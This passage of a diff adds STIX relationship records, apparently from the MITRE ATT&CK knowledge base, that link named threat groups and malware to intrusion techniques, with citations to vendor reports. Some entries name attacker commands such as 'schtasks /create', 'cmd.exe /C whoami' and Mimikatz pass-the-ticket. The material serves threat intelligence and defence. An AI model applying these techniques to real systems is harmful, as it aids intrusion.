+ "modified": "2019-01-30T18:08:51.157Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Reaver](https://attack.mitre.org/software/S0172) deletes the original dropped file from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3bf633d0-5578-4e3a-a599-52f3946f6623", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) uses a batch file to kill a security program task and then attempts to remove itself.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4a0c3e46-f94c-48b5-b094-a8f9437857fb", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used netstat -an on a victim to get a listing of network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses a batch file to delete itself.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--612eacfc-8f08-4e9e-a8f8-5461577064a3", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes BAT and VBS scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--264be7f9-61e1-4e9e-aa4a-aa4a7420f3b3", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command \"cmd.exe\" /C whoami. The group also uses a tool to execute commands on remote computers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--41d61146-4a42-4897-b4a1-a706130a322d", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[httpclient](https://attack.mitre.org/software/S0068) opens cmd.exe on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ae370b88-fd93-4803-a154-aa3debf2327b", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) launched a scheduled task to gain persistence using the schtasks /create /sc command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7121357f-cc91-4e6b-a2a6-d8bb51bf4a01", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obtains victim Microsoft Windows version information and CPU architecture.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:23:06.367Z", + "id": "relationship--854fd292-dbaf-4112-96b2-824364c82a4c", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "modified": "2019-01-31T00:23:06.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used pass the hash for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.553Z", + "id": "relationship--0743264d-1356-4f9e-96cc-8698f5e0e862", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.944Z", + "id": "relationship--e25ea0c4-513b-489d-943d-2828034f764f", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has lured victims to launch malicious attachments and click malicious links delivered via spearphishing emails (often sent from compromised accounts).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.715Z", + "id": "relationship--59b6b000-c8c5-4b4a-8801-5102de111111", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--edea5971-fc27-4637-8de9-aabcd50784a7", + "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "modified": "2019-03-25T16:59:10.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--829ec8ab-3e48-442b-beb2-b0d2dbdaaca0", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "modified": "2019-03-25T17:15:03.485Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Kaspersky Winnti June 2015", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "url": "https://securelist.com/games-are-over/70991/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5365d764-76fa-49ce-b76b-d0344322b037", + "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "source_name": "Microsoft Reg", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can change Internet Explorer settings to reduce warnings about malware activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--41e52a99-9797-4c31-8b3c-7adeed98310a", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) takes periodic screenshots and exfiltrates them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1097).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing process listings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to disable UAC remote restrictions by modifying the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e795d8ec-a11c-4809-a70a-46aa033fec82", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "modified": "2019-05-10T18:57:53.116Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to list the victim's processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": 